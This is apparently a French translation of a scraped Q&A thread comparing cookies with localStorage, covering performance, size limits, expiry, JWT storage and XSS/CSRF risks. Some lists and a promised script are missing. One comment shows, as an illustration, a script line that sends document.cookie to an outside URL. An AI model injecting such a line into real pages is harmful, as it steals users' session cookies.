Je souhaite réduire les temps de chargement sur mes sites Web en déplaçant tous les cookies dans le stockage local car ils semblent avoir les mêmes fonctionnalités. Y a-t-il des avantages / inconvénients (en particulier en termes de performances) à utiliser le stockage local pour remplacer la fonctionnalité des cookies, à l'exception des problèmes de compatibilité évidents?
html
cookies
httprequest
local-storage
Gio Borje
la source
la source
Réponses:
Les cookies et le stockage local ont des objectifs différents. Les cookies sont principalement destinés à la lecture côté serveur , le stockage local ne peut être lu que par le côté client . La question est donc, dans votre application, qui a besoin de ces données - le client ou le serveur?
Si c'est votre client (votre JavaScript), changez certainement. Vous gaspillez de la bande passante en envoyant toutes les données dans chaque en-tête HTTP.
Si c'est votre serveur, le stockage local n'est pas si utile parce que vous devrez transmettre les données en quelque sorte (avec Ajax ou des champs de formulaire cachés ou quelque chose). Cela peut être correct si le serveur n'a besoin que d'un petit sous-ensemble du total des données pour chaque demande.
Vous souhaiterez cependant laisser votre cookie de session en tant que cookie.
Selon la différence technique, et aussi ma compréhension:
En plus d'être une ancienne façon de sauvegarder les données, les cookies vous donnent une limite de 4096 octets (4095, en fait) - c'est par cookie. Le stockage local peut atteindre 5 Mo par domaine - SO Question le mentionne également.
localStorage
est une implémentation de l'Storage
Interface. Il stocke les données sans date d'expiration et est effacé uniquement via JavaScript ou en effaçant le cache du navigateur / les données stockées localement, contrairement à l'expiration des cookies.la source
sessionStorage
comme un cookie qui a expiré jusqu'à ce que le navigateur soit fermé (pas l'onglet). @darkporter, merci pour la réponse. Cependant, j'aimerais entendre la différence technique entre les cookies et le stockage local. en attente de votre montage.localStorage
reste sur le client, tandis qu'ilcookies
est envoyé avec l'en-tête HTTP. C'est la plus grande (mais pas la seule) différence entre eux.Dans le contexte des JWT , Stormpath a écrit un article assez utile décrivant les moyens possibles de les stocker et les (dés) avantages liés à chaque méthode.
Il a également un bref aperçu des attaques XSS et CSRF, et comment vous pouvez les combattre.
J'ai joint quelques courts extraits de l'article ci-dessous, au cas où leur article serait mis hors ligne / leur site tomberait en panne.
Stockage local
Problèmes:
La prévention:
Biscuits
Problèmes:
La prévention:
L'article complet peut être trouvé ici: https://stormpath.com/blog/where-to-store-your-jwts-cookies-vs-html5-web-storage/
Ils ont également un article utile sur la meilleure façon de concevoir et de mettre en œuvre des JWT, en ce qui concerne la structure du jeton lui-même: https://stormpath.com/blog/jwt-the-right-way/
la source
localStorage
est accessible aux autres scripts de la page ... Mais il en est de mêmeXMLHttpRequest
... Et oui, le drapeau HttpOnly protège contre le vol du cookie mais le navigateur l'envoie toujours automatiquement au domaine correspondant, donc ... essentiellement lorsque vous avez des scripts malveillants en cours d'exécution sur votre page, vous êtes déjà piraté.window.location = 'http://google.com?q=' + escape(document.cookie);
. Cette attaque contourne la vérification CORS des navigateurs.Avec
localStorage
, les applications Web peuvent stocker des données localement dans le navigateur de l'utilisateur. Avant HTML5, les données d'application devaient être stockées dans des cookies, inclus dans chaque demande de serveur. De grandes quantités de données peuvent être stockées localement, sans affecter les performances du site Web. Bien qu'illocalStorage
soit plus moderne, les deux techniques présentent des avantages et des inconvénients.Biscuits
Avantages
Les inconvénients
Stockage local
Avantages
Les inconvénients
localStorage
l'utilisation est presque identique à celle de la session. Ils ont des méthodes à peu près exactes, donc passer de la session àlocalStorage
est vraiment un jeu d'enfant. Cependant, si les données stockées sont vraiment cruciales pour votre application, vous utiliserez probablement des cookies comme sauvegarde au cas où ilslocalStorage
ne seraient pas disponibles. Si vous souhaitez vérifier la prise en charge du navigateurlocalStorage
, il vous suffit d'exécuter ce script simple:la source
Eh bien, la vitesse de stockage local dépend grandement du navigateur que le client utilise, ainsi que du système d'exploitation. Chrome ou Safari sur un mac pourrait être beaucoup plus rapide que Firefox sur un PC, en particulier avec les nouvelles API. Comme toujours, le test est votre ami (je n'ai pas trouvé de référence).
Je ne vois vraiment pas de différence énorme entre les cookies et le stockage local. De plus, vous devriez être plus préoccupé par les problèmes de compatibilité: tous les navigateurs n'ont même pas commencé à prendre en charge les nouvelles API HTML5, donc les cookies seraient votre meilleur pari pour la vitesse et la compatibilité.
la source
Il convient également de mentionner qu'il
localStorage
ne peut pas être utilisé lorsque les utilisateurs naviguent en mode "privé" dans certaines versions de Safari mobile.Cité de MDN ( https://developer.mozilla.org/en-US/docs/Web/API/Window/localStorage ):
la source
Le stockage local peut stocker jusqu'à 5 Mo de données hors ligne, tandis que la session peut également stocker jusqu'à 5 Mo de données. Mais les cookies ne peuvent stocker que des données de 4 Ko au format texte.
Données de stockage LOCAL et Session au format JSON, donc faciles à analyser. Mais les données des cookies sont au format chaîne.
la source
Cookies :
Stockage local:
la source